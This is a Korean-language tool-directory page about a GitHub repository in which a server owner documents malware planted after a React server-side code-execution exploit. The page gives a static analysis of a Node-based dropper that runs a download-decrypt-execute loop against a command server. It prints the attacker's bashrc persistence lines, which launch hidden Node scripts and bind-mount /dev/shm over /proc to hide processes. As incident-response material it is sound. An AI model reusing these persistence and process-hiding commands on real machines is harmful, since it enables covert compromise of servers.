Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
react-cve-2025-55182 — malware I found on my server | Kitploit
도구/GitHubGitHub/stonelinks/react-cve-2025-55182
Persistence MechanismsReverse EngineeringData ExfiltrationForensicsMalware AnalysisCommand and ControlThreat IntelligenceIncident ResponsePayload Development
GitHubstonelinks/react-cve-2025-55182

react-cve-2025-55182

malware I found on my server

8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

react-cve-2025-55182

웨딩 웹사이트 서버에서 React 서버 사이드 렌더링 코드 실행 취약점을 이용한 공격 이후 발견한 악성코드 및 기타 의심스러운 정크 파일들입니다. 아주 평범한 Next.js 앱을 실행하는 소규모 Digital Ocean 드롭릿입니다.

CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

다양한 스파이크 등을 보여주는 서버 활동 로그: image

주된 악성코드는 /.local/share/.r0qsv8h1에 설치된 것으로 보입니다.

발견한 것들

bashrc에서:

root@kitploit:~
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null

pgreps는 이 다른 가짜 "meshagent" 악성코드가 실행되는 것을 막기 위한 것입니다. MESHAGENT.md 문서에서 자세한 내용을 확인할 수 있습니다.

profile에도 동일한 내용이 있습니다.

root@kitploit:~
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null

SUSPICIOUS_SERVICES.md에서 다른 의심스러운 서비스를 확인할 수 있습니다.

다음은 이 주요 악성코드에 대한 분석입니다:

/.local/ 디렉토리 개요

bad 디렉토리에는 자체 포함된 Node.js 런타임과 매우 난독화된 JavaScript 파일 세트가 함께 번들로 제공됩니다. 모든 증거는 이 파일이 악성 드로퍼(dropper) 임을 나타냅니다. 이는 원격 서버에 자동으로 연결하여 암호화된 페이로드를 다운로드하고, 복호화한 후 디스크에 쓰고, 분리된 백그라운드 프로세스로 실행합니다. 또한 코드는 주기적으로 서버에서 업데이트를 확인합니다.

파일 및 용도

매니페스트 디코딩

.5f8562의 Base64 페이로드를 디코딩하면 다음과 같습니다:

root@kitploit:~
{
  "0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
  "1": ".fvq2lzj6te.js",
  "3": 1765307786421,
  "4": "desktop"
}
  • 키 "1" 은 주요 난독화된 로더 스크립트를 참조합니다.
  • 키 "0" 은 원격 서버가 추적에 사용할 것으로 보이는 UUID입니다.
  • 키 "3" 은 매니페스트가 생성된 시간을 나타내는 타임스탬프(Unix epoch ms)입니다.
  • 키 "4" 는 의도된 위치(desktop)를 나타내며, 페이로드가 그곳에 숨으려고 할 수 있음을 암시합니다.

실행 흐름

  1. 부트스트랩 – 번들된 Node 바이너리가 시작되면(예: node .5f8562) 매니페스트가 .fvq2lzj6te.js를 가리킵니다.
  2. 다운로더 – 로더가 원격 명령 및 제어 서버에 JSON‑RPC 요청을 생성하고, base64 인코딩 블롭을 수신한 다음 사용자 정의 RC4 유사 알고리즘으로 복호화합니다.
  3. 페이로드 배포 – 복호화된 데이터가 사용자 환경의 임의 이름 파일에 쓰여지고 분리된 자식 프로세스로 실행됩니다.
  4. 지속성 / 업데이트 루프 – setInterval 타이머가 주기적으로 다운로드-복호화-실행 시퀀스를 반복하여 공격자가 추가 사용자 상호 작용 없이 새 페이로드나 업데이트된 페이로드를 푸시할 수 있게 합니다.
  5. 백그라운드 실행 – 생성된 프로세스는 자체 환경(PATH, cwd 등)에서 실행되며, 암호화폐 채굴, 자격 증명 탈취, 원격 명령 실행 등 일반적인 악성 행위를 수행할 수 있습니다.

잠재적 영향

  • 시스템 손상 – Node 런타임을 실행한 사용자의 권한으로 임의 코드 실행.
  • 지속성 – 주기적인 폴링을 통해 악성코드가 언제든지 새로고침되거나 교체될 수 있습니다.
  • 리소스 남용 – CPU 집약적 작업(예: 암호화폐 채굴) 또는 데이터 유출 가능성.
  • 은밀성 – 파일이 심하게 난독화되어 있고 정상적인 Node README가 존재하여 악성 성격을 숨기는 데 도움이 됩니다.

권장 사항

  1. 즉시 제거 – 전체 .r0qsv8h1 디렉토리와 해당 디렉토리가 생성한 모든 파일을 삭제하십시오(사용자의 Desktop 및 임시 디렉토리에서 새로 생성된 실행 파일 확인).
  2. 시스템 검사 – 호스트에서 신뢰할 수 있는 안티멀웨어 스캐너를 실행하여 잔여 구성 요소를 탐지하십시오.
  3. 실행 경로 확인 – 시작 스크립트나 예약된 작업이 이 디렉토리의 파일을 참조하지 않는지 확인하십시오.
  4. 네트워크 모니터링 – 영향을 받은 시스템에서 알 수 없는 IP/호스트로의 아웃바운드 연결을 차단하고, 최근 네트워크 트래픽에서 의심스러운 아웃바운드 요청을 검토하십시오.
  5. 보안 정책 업데이트 – 알 수 없는 바이너리 및 스크립트의 실행을 제한하고, 특히 사용자가 쓸 수 있는 위치에 다운로드된 파일에 제한을 두십시오.

이 분석은 디렉터리에 있는 파일의 정적 검사를 기반으로 AI 어시스턴트가 자동으로 수행했습니다. 런타임 실행은 수행되지 않았습니다.

DEOBFUSCATE.md에서 자세한 내용을 확인할 수 있습니다.

도구 다운로드
파일설명
.394ly8v9/README.md표준 Node.js README – 악성 기능과 무관하며, 번들이 정상적으로 보이도록 하기 위해 존재합니다.
.fvq2lzl64e.js약 5KB의 난독화된 JavaScript. JSON‑RPC HTTP 요청을 구성하고, base64로 인코딩된 페이로드를 수신하며, 사용자 정의 암호로 복호화한 후 임의 파일에 쓰고 child_process.spawn / execSync를 통해 실행합니다. 또한 원격 서버를 반복적으로 폴링하는 분리된 백그라운드 프로세스를 생성합니다.
.lauphhtqrg.js약 13KB의 난독화된 JavaScript. 자체 RC4 스타일 암호(dec)를 사용하여 유사한 다운로드-복호화-실행 루프를 구현합니다. 복호화된 페이로드를 생성된 파일명으로 쓰고 실행합니다. 나중에 새 페이로드를 가져오기 위해 타이머를 설정합니다.
.5f8562일반 텍스트 Base64 문자열. 작은 JSON 매니페스트로 디코딩됩니다: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } 이 매니페스트는 로더가 실행할 스크립트(.fvq2lzj6te.js)와 식별자/타임스탬프를 제공합니다.
.b0rtqscrkeov아직 검사되지 않았지만, 명명 패턴으로 보아 동일한 악성 체인의 또 다른 구성 요소로 추정됩니다.
bin/node 및 관련 lib/ 파일전체 Node.js 런타임으로, Node.js가 설치되지 않은 시스템에서도 스크립트를 실행할 수 있게 합니다.